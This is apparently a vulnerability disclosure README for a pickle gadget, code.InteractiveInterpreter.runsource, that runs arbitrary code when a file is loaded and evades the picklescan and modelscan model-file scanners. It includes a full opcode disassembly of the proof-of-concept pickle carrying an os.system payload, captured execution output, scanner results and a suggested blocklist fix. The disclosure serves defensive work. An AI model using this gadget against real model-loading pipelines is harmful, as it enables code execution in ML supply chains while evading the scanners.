EnigmaConsultant's picture
Upload README.md with huggingface_hub
7da9f5b verified
|
Raw
History Blame Contribute Delete
6.8 kB
# code.InteractiveInterpreter.runsource pickle gadget bypasses picklescan 1.0.5 and modelscan 0.8.8 (Python 3.13)
**Category:** Pickle deserialization / scanner-bypass β€” new RCE gadget
**Targets:**
- picklescan **1.0.5** (latest on PyPI) β€” https://github.com/mmaitre314/picklescan
- modelscan **0.8.8** (latest on PyPI) β€” https://github.com/protectai/modelscan
**Tested runtime:** CPython **3.13.12**, joblib **1.5.3**
**Scanner runtime:** Python 3.12 venv (modelscan requires `<3.13`); picklescan 1.0.5 also run there.
---
## Summary
A pickle stream that instantiates `code.InteractiveInterpreter` and then calls its
**`runsource`** unbound method reaches `exec()` at unpickle time, achieving arbitrary
code execution. Neither picklescan 1.0.5 nor modelscan 0.8.8 flags it:
- **picklescan 1.0.5** blocklists the stdlib `code` module with a single exact-string
entry that names only `InteractiveInterpreter.runcode`. It does **not** list
`InteractiveInterpreter.runsource`. Both globals in the payload are classified as
merely **Suspicious** (0 Dangerous / 0 Infected) β€” identical to how it treats the
gadgets it already accepts as covered.
- **modelscan 0.8.8** does not include the `code` module in its `unsafe_globals` at
all, and reports **"No issues found"**.
## Root cause
`code.InteractiveInterpreter.runsource` compiles a source string and executes it:
```python
# CPython Lib/code.py (unchanged on 3.13)
class InteractiveInterpreter:
def runsource(self, source, filename="<input>", symbol="single"):
try:
code = self.compile(source, filename, symbol) # compile() the source
except (OverflowError, SyntaxError, ValueError):
self.showsyntaxerror(filename)
return False
if code is None:
return True
self.runcode(code) # -> exec(code, self.locals)
return False
def runcode(self, code):
try:
exec(code, self.locals) # <-- arbitrary code execution
...
```
picklescan's blocklist entry for the `code` module (picklescan 1.0.5,
`src/picklescan/scanner.py`, `_unsafe_globals`):
```python
_unsafe_globals = {
...
"code": {"InteractiveInterpreter.runcode"}, # <-- runsource is NOT listed
...
}
```
Because `runsource` compiles with `symbol="exec"` and then delegates straight to
`runcode` -> `exec`, calling `runsource` is exactly as dangerous as calling
`runcode`, but only `runcode` is on the blocklist. modelscan never lists the `code`
module, so it misses both entrypoints.
## PoC
A 183-byte protocol-4 pickle. A REDUCE chain (1) instantiates
`code.InteractiveInterpreter()`, then (2) calls the `runsource` unbound method with
`(instance, malicious_source, "<input>", "exec")`. `runsource` compiles the source in
`exec` mode and runs it via `runcode` -> `exec`.
Generator: `gen_poc.py`. Artifacts: `evil.pkl`, `evil.joblib` (identical bytes β€”
a joblib container is itself a pickle stream), `control_os.pkl` (negative control).
Disassembly of `evil.pkl`:
```
0: \x80 PROTO 4
2: c GLOBAL 'code InteractiveInterpreter.runsource'
41: ( MARK
42: c GLOBAL 'code InteractiveInterpreter'
71: ) EMPTY_TUPLE
72: R REDUCE # instance = InteractiveInterpreter()
73: \x8c SHORT_BINUNICODE "import os; os.system('id > PWNED_MARKER ...')"
165: \x8c SHORT_BINUNICODE '<input>'
174: \x8c SHORT_BINUNICODE 'exec'
180: t TUPLE (MARK at 41)
181: R REDUCE # runsource(instance, source, '<input>', 'exec') -> exec
182: . STOP
```
The malicious source executed is:
`import os; os.system("id > PWNED_MARKER 2>&1; echo CODE_RUNSOURCE_GADGET >> PWNED_MARKER")`
## Captured evidence (verbatim)
### EXECUTE β€” CPython 3.13.12, `pickle.load(open('evil.pkl','rb'))`
`PWNED_MARKER` written:
```
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
CODE_RUNSOURCE_GADGET
```
### EXECUTE β€” CPython 3.13.12, `joblib.load('evil.joblib')` (joblib 1.5.3)
`PWNED_MARKER` written: same `uid=1000(kali) ...` output followed by `CODE_RUNSOURCE_GADGET`.
### picklescan 1.0.5 β€” `evil.pkl`
```
Scanned files: 1
Infected files: 0
Suspicious globals: 2
Dangerous globals: 0
(exit=0)
```
Globals seen: `GLOBAL 'code InteractiveInterpreter.runsource'`, `GLOBAL 'code InteractiveInterpreter'` β€” both classified Suspicious, none Dangerous.
### modelscan 0.8.8 β€” `evil.pkl`
```
Scanning ... using modelscan.scanners.PickleUnsafeOpScan model
--- Summary ---
No issues found! πŸŽ‰
(exit=0)
```
### Negative control β€” `control_os.pkl` (classic `posix.system` reduce)
Proves detection is live in both scanners.
picklescan 1.0.5:
```
control_os.pkl: dangerous import 'posix system' FOUND
Infected files: 1
Dangerous globals: 1
```
modelscan 0.8.8:
```
Total Issues: 1
Total Issues By Severity: CRITICAL: 1
"Use of unsafe operator 'system' from module 'posix'"
(exit=1)
```
## Impact
Any workflow that scans a `.pkl` / `.joblib` / pickle-backed model file with
picklescan 1.0.5 or modelscan 0.8.8 and then loads it (e.g. Hugging Face model
loading, joblib-serialized sklearn models) will pass the scan yet execute attacker
code on `load`. Both tools are the de-facto pre-load scanners for the ML supply chain.
## Dedup / prior-art note
- No CVE or public advisory references `code.InteractiveInterpreter.runsource` (or
`runcode`) as a pickle gadget at the time of writing.
- Distinct from all 15 gadgets picklescan already covers in its blocklist
(`marshal.loads`, `types.FunctionType`, `operator.call`, `dataclasses._create_fn`,
`pydoc.pipepager`, `cProfile`/`timeit`, `posix.spawnv_passfds`,
`logging.config.dictConfig`, etc.).
- The related `code.InteractiveConsole` subclass and the `runcode` method are already
on picklescan's list; `runsource` on the base `InteractiveInterpreter` class is the
gap. It is the natural sibling entrypoint (compile+exec) and is missed by an exact
string-match blocklist.
- No prior Hugging Face repo or local workspace file references
`code` / `runsource` / `InteractiveInterpreter` as a gadget.
## Suggested fix
picklescan should add `InteractiveInterpreter.runsource` (and, for completeness,
`InteractiveConsole.runsource` / `push` / `interact`, and `compile_command`) to the
`code` module entry β€” or blocklist the `code` module wholesale. modelscan should add
the `code` module to its `unsafe_globals`. A method-name allowlist/blocklist that
enumerates individual methods is inherently fragile against sibling entrypoints that
funnel into the same `exec`.